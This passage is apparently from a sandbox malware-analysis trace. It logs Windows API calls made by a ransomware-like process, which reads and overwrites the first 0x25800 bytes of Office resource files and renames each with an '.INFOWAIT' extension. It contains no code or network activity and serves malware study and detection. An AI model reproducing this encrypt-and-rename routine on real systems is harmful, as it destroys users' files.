nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0128.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0128.914] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.914] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0128.915] CloseHandle (hObject=0xad4) returned 1 [0128.915] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" [0128.915] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.INFOWAIT" [0128.915] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll.infowait")) returned 1 [0128.916] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.917] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.917] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.917] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.918] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3360 [0128.918] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.918] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.918] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3360, lpOverlapped=0x0) returned 1 [0129.068] VirtualAlloc (lpAddress=0x0, dwSize=0x3360, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0129.069] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.069] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3360, lpOverlapped=0x0) returned 1 [0129.069] CloseHandle (hObject=0xad4) returned 1 [0129.069] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" [0129.069] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.INFOWAIT" [0129.069] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll.infowait")) returned 1 [0129.070] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.071] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.071] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.072] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4360 [0129.072] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.072] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.072] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4360, lpOverlapped=0x0) returned 1 [0129.228] VirtualAlloc (lpAddress=0x0, dwSize=0x4360, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0129.230] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.230] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4360, lpOverlapped=0x0) returned 1 [0129.230] CloseHandle (hObject=0xad4) returned 1 [0129.230] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" [0129.230] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.INFOWAIT" [0129.230] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll.infowait")) returned 1 [0129.231] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.231] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.232] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.232] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.232] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6960 [0129.232] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.232] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.232] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x6960, lpOverlapped=0x0) returned 1 [0129.305] VirtualAlloc (lpAddress=0x0, dwSize=0x6960, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0129.306] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.307] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x6960, lpOverlapped=0x0) returned 1 [0129.307] CloseHandle (hObject=0xad4) returned 1 [0129.307] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" [0129.307] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.INFOWAIT" [0129.307] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll.infowait")) returned 1 [0129.307] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.308] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.308] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.309] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.309] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x73960 [0129.309] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.309] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.309] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0129.439] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0129.449] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.449] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0129.450] CloseHandle (hObject=0xad4) returned 1 [0129.450] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" [0129.450] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.INFOWAIT" [0129.450] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll.infowait")) returned 1 [0129.451] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.451] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.452] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.452] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.453] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24360 [0129.453] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.453] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.453] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x24360, lpOverlapped=0x0) returned 1 [0129.557] VirtualAlloc (lpAddress=0x0, dwSize=0x24360, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0129.566] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.566] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x24360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x24360, lpOverlapped=0x0) returned 1 [0129.566] CloseHandle (hObject=0xad4) returned 1 [0129.566] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" [0129.566] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.INFOWAIT" [0129.566] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll.infowait")) returned 1 [0129.567] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.568] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.569] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.569] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.569] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x110b60 [0129.569] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.570] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.570] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0129.572] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0129.581] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.581] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0129.581] CloseHandle (hObject=0xad4) returned 1 [0129.581] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" [0129.581] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.INFOWAIT" [0129.581] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll.infowait")) returned 1 [0129.582] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.582] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.583] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.583] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.584] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23960 [0129.584] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.584] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.584] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23960, lpOverlapped=0x0) returned 1 [0129.659] VirtualAlloc (lpAddress=0x0, dwSize=0x23960, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0129.668] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.668] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23960, lpOverlapped=0x0) returned 1 [0129.669] CloseHandle (hObject=0xad4) returned 1 [0129.669] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" [0129.669] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.INFOWAIT" [0129.669] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll.infowait")) returned 1 [0129.669] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.670] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.671] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.671] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.671] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x126760 [0129.671] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.672] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.672] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0129.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0129.784] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.784] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: 